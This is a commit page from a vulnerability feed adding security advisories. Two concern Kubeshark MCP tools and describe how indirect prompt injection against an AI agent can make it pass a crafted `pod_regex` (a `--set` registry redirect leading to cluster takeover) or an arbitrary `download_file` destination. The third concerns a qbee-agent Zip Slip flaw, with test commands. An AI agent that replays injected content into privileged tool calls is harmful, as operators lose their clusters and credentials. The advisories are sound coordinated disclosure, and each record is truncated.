vuln-osv update 2026-11-17T00:44:50Z

This commit is contained in:
Vulnerability Bot committed 2026-11-17 01:44:55 +01:00
1 parent 8ed0f41385
commit 8a263d3823
92 files changed
+111 -62

No files matched your search

+1
View File
@@ -0,0 +1 @@
{"schema_version":"1.9.2","id":"GHSA-8vf2-hxg5-crqh","published":"2026-11-16T22:17:32Z","modified":"2026-11-16T22:30:03.904555738Z","aliases":["CVE-2026-129236"],"summary":"Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover","details":"**Ecosystem / package:** Go — `github.com/kubeshark/kubeshark` (the `kubeshark`\nCLI, `kubeshark mcp` subcommand)\n**Affected component:** `cmd/mcpRunner.go`, MCP tool `start_kubeshark`\n**Affected versions:** `>= v53.1.0`, `< v53.4.0` (the flaw shipped with the MCP\ncommand's first release; v53.3.0 was the last affected release)\n**Patched version:** `v53.4.0`\n**Credit:** novice-22 (Urim), via private coordinated disclosure.\n\n## Summary\nThe `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the\ncaller-supplied `pod_regex` as a bare positional argument, with no `--`\nend-of-options separator. Because `tap` is a cobra command, a `pod_regex` that\nbegins with `-`/`--set=` is parsed as a **flag**, not as the pod regex. An\nattacker who can influence the tool arguments (e.g. indirect prompt injection\nagainst an agent driving `kubeshark mcp --allow-destructive`) can inject\narbitrary `--set` Helm value overrides — notably `tap.docker.registry` /\n`tap.docker.tag` — redirecting the deployed worker/hub/front images to an\nattacker-controlled registry. The worker DaemonSet runs privileged with\n`hostNetwork` and the host filesystem mounted, so an attacker image yields node\nand cluster-admin compromise.\n\n## Introduced in\nCommit `0bbbb473` — \"[1] Add MCP (Model Context Protocol) server command\n(#1832)\", 2026-02-06 — first released in **v53.1.0** (`v53.1.0~23`). The\n`pod_regex` argument has been appended as a bare positional since the tool's\nintroduction; there is no regression window, every MCP-capable release is\naffected.\n\n## Details\nIn `callStartKubeshark` (`cmd/mcpRunner.go`), the command was built as\n`[\"tap\", <pod_regex>, \"-n\", …, \"--set\", …, \"--set\", \"headless=true\"]` with\n`pod_regex` inserted as a raw element. cobra parses flags positionally-agnostic\nand there was no `--` guard, so `pod_regex=\"--set=tap.docker.registry=…,tap.docker.tag=…\"`\nbecame a real `--set`. The tool is only registered when\n`kubeshark mcp --allow-destructive` is set.\n\n## Proof of concept (reporter, abridged)\nDriving `kubeshark mcp --allow-destructive`: `start_kubeshark` with\n`pod_regex=\"--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>\"` caused\nthe CLI to construct `kubeshark tap --set=… --set headless=true`, deploying an\nattacker image. The image ran as root inside the privileged worker container and\nread the host's cluster-admin kubeconfigs\n(`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) — i.e. cluster-admin\ntakeover from a single `pod_regex` value.\n\n## Impact\nFull Kubernetes cluster compromise (cluster-admin) from a single injected tool\nargument, when the operator runs the MCP server with `--allow-destructive`.\n\n## Severity rationale\nKubeshark scores this **7.2 High**, down from the reporter's 8.3, on two metrics. The\nimpact half of the vector (`S:C/C:H/I:H/A:H`) is unchanged — cluster-admin\ntakeover is real and Kubeshark does not contest it.\n\n- **`AV:N` → `AV:L`.** `kubeshark mcp` is a local stdio MCP server with no\n network listener. The attacker's payload reaches it as content an agent\n running on that host ingested and replayed into a local tool call. The\n poisoned content may have travelled over a network, but the exploited\n interface is local.\n- **`PR:N` → `PR:H`.** Two administrative preconditions must already hold on the\n target host: the operator must have started the MCP server with the explicit,\n non-default `--allow-destructive` flag (without it `start_kubeshark` is not\n registered at all), and that host must already hold a kubeconfig with\n permission to deploy the privileged Kubeshark DaemonSet. The attacker is\n borrowing an existing high-privilege context, not gaining one.\n\nKubeshark kept **`AC:H`** (the injection must land in content the agent ingests, and\nthe attacker must stand up a malicious registry/image), **`UI:R`** (an operator\nmust be actively driving the agent), and **`S:C`** (the compromise crosses from\nthe CLI's authorization scope into the Kubernetes cluster — this is what keeps\nthe score in the High band).\n\n## Patches\nFixed in **v53.4.0** by commit\n[`a76a1920`](https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214)\n(PR [#1957](https://github.com/kubeshark/kubeshark/pull/1957)).\n\nIn `cmd/mcpRunner.go`: `pod_regex` is now appended **last**, after a\nliteral `--` end-of-options separator, so it is always parsed as the\n`[POD REGEX]` positional and can never be interpreted as a flag. (`namespaces` /\n`release_namespace` are passed through `-n` / `-s` value flags, which consume\ntheir value token and are therefore not injectable.)\n\n##Line truncated
+1
View File
@@ -0,0 +1 @@
{"schema_version":"1.9.2","id":"GHSA-gj7r-p794-hhq5","published":"2026-11-16T22:18:58Z","modified":"2026-11-16T22:30:03.907372699Z","aliases":["CVE-2026-129235"],"summary":"Kubeshark: MCP `download_file` writes fetched bytes to an unvalidated destination path","details":"**Ecosystem / package:** Go — `github.com/kubeshark/kubeshark` (the `kubeshark`\nCLI, `kubeshark mcp` subcommand)\n**Affected component:** `cmd/mcpRunner.go`, MCP tool `download_file`\n**Affected versions:** `>= v53.1.0`, `< v53.4.0` (the flaw shipped with the\ntool's first release; v53.3.0 was the last affected release)\n**Patched version:** `v53.4.0`\n**Credit:** novice-22 (Urim), via private coordinated disclosure.\n\n## Summary\nThe `download_file` MCP tool fetches a caller-supplied `path` from the Kubeshark\nHub API and writes the response body to a caller-supplied `dest` on the local\nfilesystem with no validation of `dest`. An attacker who can influence the MCP\ntool arguments — e.g. via indirect prompt injection against an AI agent driving\n`kubeshark mcp` — can write attacker-controlled bytes to an arbitrary path\nwritable by the user running the MCP server (e.g. `~/.ssh/authorized_keys`,\n`~/.kube/config`, `~/.bashrc`), and can request arbitrary Hub API endpoints.\n`download_file` is registered unconditionally (available in the default,\nnon-`--allow-destructive` posture).\n\n## Introduced in\nCommit `eb7dc42b` — \"Add get_file_url and download_file MCP tools (#1853)\",\n2026-03-04 — first released in **v53.1.0** (`v53.1.0~1`). An earlier attempt\n(`dbfd17d9`) was reverted (`a46f05c4`) before any release, so no tag before\nv53.1.0 is affected.\n\n## Details\nIn `callDownloadFile` (`cmd/mcpRunner.go`), both `path` and `dest` come straight\nfrom the tool arguments:\n- `dest` was passed directly to `os.Create(dest)` with no confinement — no\n `filepath.Clean`, no base-directory containment, no rejection of absolute\n paths or `../` traversal. Any path the process can write is reachable.\n- `path` was concatenated onto the Hub API base URL with no allowlist, so any\n Hub endpoint (including captured-traffic exports) is reachable.\n\n## Auth context (CWE-306 / CWE-200)\nThe tool originally issued the fetch with no authentication. The authentication\ngap was addressed by the gated-Hub authentication refactor: the download now\nforwards the operator's Hub credentials (ServiceAccount token / License-Key) and\nrejects auth-required responses instead of writing a login page to disk. **But**\nthe Hub ships auth-disabled by default (community/dev), so on a default\n`kubeshark tap` the Hub API answers without authentication and captured traffic\n(credentials/tokens/PII) can still be read and exfiltrated end-to-end. Enforcing\nHub auth by default is tracked separately (gated-auth workstream) and is **not**\npart of this advisory's fix.\n\n## Proof of concept (reporter, abridged)\nFollowing the tool's documented workflow on a default community install:\n`export_snapshot_pcap` → obtain a relative path → `download_file` with that\n`path` and an attacker-chosen `dest`. The reporter retrieved a captured-traffic\nPCAP and recovered a planted canary `Authorization: Bearer …` credential from\nit, and demonstrated writing the fetched bytes to an arbitrary local path.\n\n## Impact\n- **Integrity (local):** arbitrary file write on the machine running\n `kubeshark mcp`, as that user.\n- **Confidentiality:** read of Hub API endpoints, incl. captured network traffic\n (credentials, tokens, PII) on a default (auth-disabled) install.\n- Reliable RCE is not demonstrated (script endpoints are JSON-wrapped).\n\n## Severity rationale\nKubeshark scores this **5.3 Medium**, down from the reporter's 7.1, on two metrics:\n\n- **`AV:N` → `AV:L`.** The vulnerable component has no network listener the\n attacker reaches. `kubeshark mcp` is a local stdio MCP server; the attacker's\n input arrives as content an agent running on that host ingests and then\n replays into a local tool call. The delivery of the poisoned content may cross\n a network, but the attack surface being exploited is local to the machine.\n- **`I:H` → `I:L`.** The write is confined to paths writable by the user running\n `kubeshark mcp` (normally unprivileged) — no system-file or other-user\n modification. The attacker also controls *where* the bytes land, not *what*\n they are: the body comes from a Hub API response, so the content is\n constrained to what the Hub will emit. Reliable RCE was not demonstrated.\n- **`A:L` → `A:N`.** Nothing in the issue degrades availability of the CLI, the\n Hub, or the host; the original `A:L` is unsupported.\n\nKubeshark kept **`C:H`**: on a default community install the Hub API answers\nunauthenticated, so captured traffic (credentials, tokens, PII) is genuinely\nreadable end-to-end. Kubeshark kept **`AC:H`** (the attacker must land an injection in\ncontent the agent ingests and know the deployment layout), **`PR:N`**\n(`downLine truncated
+1
View File
@@ -0,0 +1 @@
{"schema_version":"1.9.2","id":"GHSA-vx32-xf7g-9ghr","published":"2026-11-16T22:35:40Z","modified":"2026-11-16T22:45:03.072290977Z","aliases":["CVE-2026-129237"],"summary":"qbee-agent: Docker Compose build context Zip Slip writes outside context directory","details":"## Summary\n\n`qbee-agent` contains a Zip Slip vulnerability in `app/utils/tar.go`. The tar extractor checks whether an entry remains inside the destination directory with:\n\n```go\nstrings.HasPrefix(targetPath, destdirClean)\n```\n\nThis does not enforce a path separator boundary. If the destination directory is `/tmp/.../context`, a tar entry such as `../context-outside/payload.txt` cleans to `/tmp/.../context-outside/payload.txt` and still passes the prefix check. qbee-agent then creates the outside directory and writes the payload outside the intended extraction root.\n\nThe issue is reachable through the Docker Compose build context path when `UseContext` is enabled.\n\n## Details\n\nCode references below were verified against `qbee-io/qbee-agent` commit:\n\n- `1d8bdbb7422adb4ca563d3114cbe2817d6ba3581`\n\nAffected repository:\n\n- `qbee-io/qbee-agent`\n\nAffected files:\n\n- `app/utils/tar.go`\n- Docker Compose context path in `app/configuration/bundle_docker_compose.go`\n\nThe vulnerable extraction code:\n\n- `app/utils/tar.go:89-93`\n\n```go\ntargetPath := filepath.Clean(filepath.Join(destPath, header.Name))\ndestdirClean := filepath.Clean(destPath)\n\nif !strings.HasPrefix(targetPath, destdirClean) {\n return fmt.Errorf(\"tar entry %s is outside of destination directory %s\", targetPath, destdirClean)\n}\n```\n\nThe file is then created at the accepted `targetPath`:\n\n- `app/utils/tar.go:96-109`\n\n```go\ncase tar.TypeDir:\n if err := os.MkdirAll(targetPath, 0755); err != nil {\n return err\n }\ncase tar.TypeReg:\n targetFile, err := os.Create(targetPath)\n```\n\nDocker Compose build contexts reach this extractor:\n\n- `app/configuration/bundle_docker_compose.go:238-270`\n\nThe context archive is downloaded and then unpacked into the compose project context directory with `utils.UnpackTar`.\n\nArchive source and role evidence:\n\n- `app/configuration/compose.go:14` defines the Docker Compose build context as the remote configuration field `Context string`.\n- `app/configuration/compose.go:26` enables this path with `UseContext`.\n- `app/configuration/file_manager.go:240-246` and `app/configuration/file_manager.go:281-287` show that context sources are resolved either from `file://` local files or from the Qbee file-manager API.\n- Qbee's Docker Compose documentation lists \"Build Context\" as a Docker Compose configuration option: https://docs.qbee.io/configuration-docker-compose.html\n- Qbee's RBAC documentation separates `configuration:manage` from `files:manage`, and maps \"Configure -> Modify configuration\" to `configuration:manage` while \"Files manager -> Write access\" maps to `files:manage`: https://docs.qbee.io/account-users-and-roles.html\n- Qbee's CI/CD documentation describes using a dedicated Qbee user with a role restricted to configuration changes to push and commit deployment configuration: https://docs.qbee.io/tutorial-iot-container-deployment-with-ci-cd-devops.html\n\nTrust-boundary requirement:\n\n- The vulnerable primitive is clear: qbee-agent writes a regular file outside the intended context extraction directory.\n- The security boundary is present when the archive supplier is less privileged than the local qbee-agent process and is not supposed to write arbitrary sibling files in qbee-agent's Docker Compose cache/project area.\n- The public code and documentation support this boundary for tenants that delegate configuration and/or file-manager access to limited users or CI automation.\n- If a deployment allows only full device/fleet administrators to provide Docker Compose context archives, the finding should be treated as hardening for that deployment.\n\n## PoC\n\nTwo failing regression tests add.\n\nThe utility-level test proves the extractor bug directly:\n\n- `app/utils/tar_test.go:132`\n- `Test_TarZipSlipSiblingPrefixBypass`\n\nCommand:\n\n```sh\nwsl -e sh -lc 'cd /mnt/c/Users/kwak0/Documents/Qbee/targets/qbee-agent; /mnt/c/Users/kwak0/Documents/Qbee/.tools/go1.26.4-linux/go/bin/go test ./app/utils -run Test_TarZipSlipSiblingPrefixBypass -count=1 -v'\n```\n\nObserved result:\n\n```text\n=== RUN Test_TarZipSlipSiblingPrefixBypass\n tar_test.go:169: expected unpackTar to reject sibling-prefix traversal archive\n tar_test.go:174: path traversal: payload was written outside destPath at /tmp/.../context-outside/payload.txt; got \"zip-slip-sibling-prefix\"\n--- FAIL: Test_TarZipSlipSiblingPrefixBypass (0.00s)\nFAIL\n```\n\nThe Docker Compose bundle-path test proves reachability through `Compose.getContext()`:\n\n- `app/configuration/bundle_docker_compose_context_zip_slip_test.go:13`\n- `Test_ComposeContextRejectsSiblingPrefixZipSlip`\n\nCommand:\n\n```sh\nwsl -e sh -lc 'cd /mnt/c/UseLine truncated